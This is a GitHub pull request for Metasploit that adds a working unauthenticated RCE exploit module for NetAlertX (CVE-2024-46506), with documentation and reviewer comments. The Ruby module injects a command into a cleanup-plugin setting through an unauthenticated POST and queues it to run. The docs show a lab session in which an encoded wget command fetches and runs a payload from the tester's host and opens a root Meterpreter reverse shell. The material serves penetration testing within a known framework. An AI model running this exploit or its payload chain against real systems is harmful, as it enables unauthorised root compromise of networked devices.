-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add NetAlertX unauthenticated RCE module (CVE-2024-46506) #19868
Changes from 3 commits
00f4f80
4f584bd
b02838a
127adda
92a73b1
7149d3f
8d59201
9f43fcc
edbdb98
2db7f4f
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,107 @@ | ||
## Vulnerable Application | ||
|
||
An attacker can update NetAlertX settings with no authentication, which results in RCE. | ||
|
||
The vulnerability affects: | ||
|
||
* v23.01.14 <= NetAlertX <= v24.9.12 | ||
|
||
This module was successfully tested on: | ||
|
||
* NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04 | ||
|
||
|
||
### Installation | ||
|
||
1. `docker pull jokobsk/netalertx:24.9.12` | ||
|
||
2. docker run | ||
```bash | ||
docker run --rm --network=host \ | ||
-v /tmp/netalertx:/app/config \ | ||
-v /tmp/netalertx:/app/db \ | ||
-e TZ=Europe/Berlin \ | ||
-e PORT=20211 \ | ||
jokobsk/netalertx:24.9.12 | ||
``` | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
2. Start msfconsole | ||
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506` | ||
4. Do: `run lhost=<lhost> rhost=<rhost>` | ||
5. You should get a meterpreter | ||
|
||
|
||
## Options | ||
### WAIT (required) | ||
Wait time (seconds) for the payload to be set. Default is `75`. | ||
|
||
|
||
## Scenarios | ||
``` | ||
msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506 | ||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options | ||
|
||
Module options (exploit/linux/http/netalertx_rce_cve_2024_46506): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht | ||
ml | ||
RPORT 20211 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
VHOST no HTTP server virtual host | ||
WAIT 75 yes Wait time (seconds) for the payload to be set | ||
|
||
|
||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) | ||
FETCH_DELETE true yes Attempt to delete the binary after execution | ||
FETCH_FILENAME hhPzIVsphPBC no Name to use on remote system when storing payload; cannot contain spaces or slashes | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces | ||
LHOST 192.168.0.12 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
|
||
|
||
Exploit target: | ||
|
||
Id Name | ||
-- ---- | ||
0 Linux Command | ||
|
||
|
||
|
||
View the full module info with the info, or info -d command. | ||
|
||
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17 | ||
[*] Started reverse TCP handler on 192.168.56.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Version 24.9.12 detected. | ||
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9tR1Brb3hyUk9WIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9HLThmOG5rb0gwZFRaR1BzTnZTMjNnO2NobW9kICt4IC4vbUdQa294clJPVjsuL21HUGtveHJST1Ymc2xlZXAgNDtybSAtcmYgLi9tR1Brb3hyUk9W|base64${IFS}-d|/bin/bash'. | ||
[*] Waiting settings really updated... | ||
[*] Sending stage (3045380 bytes) to 192.168.56.17 | ||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:42572) at 2025-02-08 13:42:04 +0900 | ||
[*] Added the payload to the queue. Waiting for the payload to run... | ||
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. | ||
|
||
meterpreter > getuid | ||
Server username: root | ||
meterpreter > sysinfo | ||
Computer : 192.168.56.17 | ||
OS : (Linux 6.8.0-51-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` |
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
@@ -0,0 +1,149 @@ | ||||||
## | ||||||
# This module requires Metasploit: https://metasploit.com/download | ||||||
# Current source: https://github.com/rapid7/metasploit-framework | ||||||
## | ||||||
|
||||||
class MetasploitModule < Msf::Exploit::Remote | ||||||
Rank = ExcellentRanking | ||||||
|
||||||
include Msf::Exploit::Remote::HttpClient | ||||||
prepend Msf::Exploit::Remote::AutoCheck | ||||||
include Msf::Exploit::Retry | ||||||
|
||||||
def initialize(info = {}) | ||||||
super( | ||||||
update_info( | ||||||
info, | ||||||
'Name' => 'Unauthenticated RCE in NetAlertX', | ||||||
'Description' => %q{ | ||||||
An attacker can update NetAlertX settings with no authentication, which results in RCE. | ||||||
}, | ||||||
'Author' => [ | ||||||
'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC | ||||||
'Takahiro Yokoyama' # Metasploit module | ||||||
], | ||||||
'License' => MSF_LICENSE, | ||||||
'References' => [ | ||||||
['CVE', '2024-46506'], | ||||||
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'], | ||||||
# ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?) | ||||||
], | ||||||
'DefaultOptions' => { | ||||||
'FETCH_DELETE' => true, | ||||||
'WfsDelay' => 150 | ||||||
}, | ||||||
'Platform' => %w[linux], | ||||||
'Targets' => [ | ||||||
[ | ||||||
'Linux Command', { | ||||||
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, | ||||||
'DefaultOptions' => { | ||||||
'FETCH_COMMAND' => 'WGET' | ||||||
} | ||||||
} | ||||||
], | ||||||
], | ||||||
'DefaultTarget' => 0, | ||||||
'DisclosureDate' => '2025-01-30', | ||||||
'Notes' => { | ||||||
'Stability' => [ CRASH_SAFE, ], | ||||||
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ], | ||||||
'Reliability' => [ REPEATABLE_SESSION, ] | ||||||
} | ||||||
) | ||||||
) | ||||||
|
||||||
register_options( | ||||||
[ | ||||||
Opt::RPORT(20211), | ||||||
OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]), | ||||||
] | ||||||
) | ||||||
end | ||||||
|
||||||
def check | ||||||
res = send_request_cgi({ | ||||||
'method' => 'GET', | ||||||
'uri' => normalize_uri(target_uri.path, 'maintenance.php') | ||||||
}) | ||||||
return Exploit::CheckCode::Unknown unless res&.code == 200 | ||||||
|
||||||
version = Rex::Version.new(res&.get_html_document&.xpath('//div[text()="Installed version"]//following-sibling::*')&.text&.strip&.sub(/^v/, '')) | ||||||
msutovsky-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
return Exploit::CheckCode::Unknown('Failed to detect version.') unless version | ||||||
Takahiro-Yoko marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
|
||||||
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) | ||||||
|
||||||
Exploit::CheckCode::Appears("Version #{version} detected.") | ||||||
end | ||||||
|
||||||
def exploit | ||||||
# Command is splitted by the space, and processed by the below Python code | ||||||
Takahiro-Yoko marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
# subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) | ||||||
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 | ||||||
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 | ||||||
cmd = "/bin/bash -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/bash" | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
Smaller payload (yay!), and more portable, and not every Linux system has There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Do we need to encode manually? What characters are we trying to avoid and what happens we pass them into the payload portion of the info hash as bad characters? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. |
||||||
update_settings(cmd, '*') | ||||||
# Not updated immediately | ||||||
print_status('Waiting settings really updated...') | ||||||
Takahiro-Yoko marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
retry_until_truthy(timeout: datastore['WAIT']) do | ||||||
check_settings(cmd) | ||||||
end | ||||||
add_to_execution_queue('run|DBCLNP') | ||||||
add_to_execution_queue('cron_restart_backend') | ||||||
print_status('Added the payload to the queue. Waiting for the payload to run...') | ||||||
end | ||||||
|
||||||
def update_settings(cmd, sche) | ||||||
res = send_request_cgi({ | ||||||
'method' => 'POST', | ||||||
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), | ||||||
'vars_post' => { | ||||||
'function' => 'savesettings', | ||||||
'settings' => [ | ||||||
['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'], | ||||||
['DBCLNP', 'DBCLNP_CMD', 'string', cmd], | ||||||
['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"], | ||||||
].to_json | ||||||
} | ||||||
}) | ||||||
fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200 | ||||||
print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.") | ||||||
end | ||||||
|
||||||
def add_to_execution_queue(cmd) | ||||||
res = send_request_cgi({ | ||||||
'method' => 'POST', | ||||||
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), | ||||||
'vars_post' => { | ||||||
'function' => 'addToExecutionQueue', | ||||||
'action' => "#{Rex::Text.rand_text_alphanumeric(8)}-"\ | ||||||
"#{Rex::Text.rand_text_alphanumeric(4)}-"\ | ||||||
"#{Rex::Text.rand_text_alphanumeric(4)}-"\ | ||||||
"#{Rex::Text.rand_text_alphanumeric(4)}-"\ | ||||||
"#{Rex::Text.rand_text_alphanumeric(12)}|#{cmd}" | ||||||
Takahiro-Yoko marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
} | ||||||
}) | ||||||
fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 | ||||||
end | ||||||
|
||||||
def check_settings(cmd) | ||||||
res = send_request_cgi({ | ||||||
'method' => 'GET', | ||||||
'uri' => normalize_uri(target_uri.path, 'api/table_settings.json') | ||||||
}) | ||||||
return unless res&.code == 200 | ||||||
|
||||||
res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd } | ||||||
end | ||||||
|
||||||
def cleanup | ||||||
super | ||||||
|
||||||
# Default settings, cannot change (normally). | ||||||
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 | ||||||
update_settings( | ||||||
msutovsky-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', | ||||||
'*/30' | ||||||
) | ||||||
end | ||||||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there a some degree of certainty that
wget
should be present as default?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
(Assume Docker used) It seems that both curl and wget are available in the vulnerable version of the NetAlertX Docker container, so there may be no need to specify wget as the default. https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/Dockerfile#L60 9f43fcc Thanks!